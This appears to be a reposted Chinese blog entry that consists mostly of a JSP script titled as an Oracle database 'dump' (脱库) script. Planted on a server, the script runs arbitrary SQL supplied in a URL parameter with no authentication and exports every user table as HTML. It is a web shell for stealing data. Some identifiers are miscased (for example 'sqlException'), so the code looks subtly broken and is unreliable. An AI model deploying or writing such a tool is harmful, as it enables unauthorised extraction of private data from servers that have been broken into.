虽说十分简陋，但是应对一般的查询操作已经足够了。
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<!DOCTYPE html>
<html>
<head>
<title>Oracle数据库脱库脚本--N3verL4nd</title>
</head>
<body>
<%!
/** * 获取结果集的 ColumnLabel 对应的 List * @param rs * @return * @throws sqlException */
@SuppressWarnings("unchecked")
private List getColumnLabels(ResultSet rs) throws sqlException {
ResultSetMetaData MetaData;
List labels = new ArrayList();
MetaData = rs.getMetaData();
for (int i = 0; i < MetaData.getColumnCount(); i++) {
labels.add(MetaData.getColumnLabel(i + 1));
}
return labels;
}
/** * 将 ResultSet 转换为 List 并返回 * @param rs * @return * @throws sqlException */
@SuppressWarnings("unchecked")
private List resolveResultSet(ResultSet rs) throws sqlException {
List list = new ArrayList();
Map map = null;
List<String> labels = getColumnLabels(rs);
while (rs.next()) {
map = new HashMap();
for (int i = 0; i < labels.size(); i++) {
String label = labels.get(i);
map.put(label,rs.getobject(label));
}
list.add(map);
}
return list;
}
%>
<%
try {
Class.forName("oracle.jdbc.driver.OracleDriver");
} catch (ClassNotFoundException e) {
e.printstacktrace();
}
// 需要配置的地方
//-----------------------------
String url = "jdbc:oracle:thin:@127.0.0.1:1521:drcom";
String username = "drcom";
String password = "drcom";
//-----------------------------
Connection conn = null;
Statement stmt = null;
ResultSet rs = null;
String path = request.getScheme() + "://" +
request.getServerName() + ":" +
request.getServerPort() +
request.getcontextpath() +
request.getServletPath();
try {
conn = DriverManager.getConnection(url,username,password);
if (request.getParameter("sql") != null && !request.getParameter("sql").equals("")) {
String sql = request.getParameter("sql");
stmt = conn.createStatement();
rs = stmt.executeQuery(sql);
List list = resolveResultSet(rs);
for (int i = 0; i < list.size(); i++) {
Map map = (Map) list.get(i);
Iterator it = map.entrySet().iterator();
while (it.hasNext()) {
Map.Entry entry = (Map.Entry) it.next();
Object key = entry.getKey();
Object value = entry.getValue();
out.println(key.toString().toLowerCase() + ":" + value);
out.println(" ");
}
out.println("<br />");
}
} else if (request.getParameter("table") == null || request.getParameter("table").equals("")) {
// 输出所有用户表
stmt = conn.createStatement();
rs = stmt.executeQuery("select table_name from user_tables");
out.println("<p>当前 Oracle 数据库中所有用户表:</p>");
while (rs.next()) {
out.print("<a href=");
out.print(path);
out.print("?table=");
out.print(rs.getString(1));
out.print(" target=_blank>");
out.print(rs.getString(1));
out.print("</a><br />");
}
} else {
String table = request.getParameter("table");
stmt = conn.createStatement();
rs = stmt.executeQuery("select * from " + table);
List list = resolveResultSet(rs);
out.println("当前数据库 " + table + " 共有 " + list.size() + " 条记录！<br />");
out.println("<table border=\"1\">");
if (list.size() != 0) {
Map map = (Map) list.get(0);
out.println("<tr>");
Iterator it = map.entrySet().iterator();
while (it.hasNext()) {
Map.Entry entry = (Map.Entry) it.next();
Object value = entry.getKey();
out.println("<th>" + value + "</th>");
}
out.println("</tr>");
}
for (int i = 0; i < list.size(); i++) {
out.println("<tr>");
Map map = (Map) list.get(i);
Iterator it = map.entrySet().iterator();
while (it.hasNext()) {
Map.Entry entry = (Map.Entry) it.next();
Object value = entry.getValue();
out.println("<td>" + value + "</td>");
}
out.println("</tr>");
}
out.println("</table>");
}
} catch (sqlException e) {
e.printstacktrace();
} finally {
if (rs != null) {
try {
rs.close();
} catch (sqlException e) {
e.printstacktrace();
}
}
if (stmt != null) {
try {
stmt.close();
} catch (sqlException e) {
e.printstacktrace();
}
}
if (conn != null) {
try {
conn.close();
} catch (sqlException e) {
e.printstacktrace();
}
}
}
%>
</body>
</html>
原文地址：https://www.jb51.cc/oracle/206876.html
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